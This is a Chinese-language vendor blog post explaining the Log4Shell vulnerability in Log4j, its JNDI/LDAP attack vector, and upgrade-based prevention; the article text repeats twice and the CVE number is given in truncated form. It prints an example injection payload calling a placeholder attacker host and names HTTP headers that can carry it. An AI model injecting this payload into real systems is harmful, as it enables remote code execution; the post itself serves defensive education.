解释Log4j漏洞--它的攻击媒介和如何防止它的发生

2022年1月16日出版
作者:Laura Verheyde
案例研究

解释Log4j漏洞--它的攻击媒介和如何防止它的发生

2022年1月16日出版
作者:Laura Verheyde
查看资源
查看资源

12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。

想快速提高你处理Log4Shell的技能吗? 

我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。

旧闻?

这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。

攻击矢量

Log4Shell的注入有效载荷看起来像这样。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。

这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-AgentX-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。

要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"

预防。认识

升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。 

这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。

Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。

特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。

提高你防御Log4Shell的技能

有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。


查看资源
查看资源

作者

Laura Verheyde

Laura Verheyde 是Secure Code Warrior 的一名软件开发人员,主要负责研究漏洞并为Missions 和编码实验室创建内容。

想要更多吗?

在博客上深入了解我们最新的安全编码见解。

我们广泛的资源库旨在增强人类对安全编码技术提升的方法。

查看博客
想要更多吗?

获取关于开发者驱动的安全的最新研究

我们广泛的资源库充满了有用的资源,从白皮书到网络研讨会,让你开始使用开发者驱动的安全编码。现在就去探索它。

资源中心

解释Log4j漏洞--它的攻击媒介和如何防止它的发生

2022年1月16日出版
作者:Laura Verheyde

12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。

想快速提高你处理Log4Shell的技能吗? 

我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。

旧闻?

这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。

攻击矢量

Log4Shell的注入有效载荷看起来像这样。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。

这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-AgentX-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。

要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"

预防。认识

升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。 

这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。

Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。

特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。

提高你防御Log4Shell的技能

有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。


我们希望得到您的许可,向您发送有关我们产品和/或相关安全编码主题的信息。我们将始终以最谨慎的态度对待您的个人资料,绝不会将其出售给其他公司用于营销目的。

提交
要提交表格,请启用 "分析 "cookies。完成后,请随时再次禁用它们。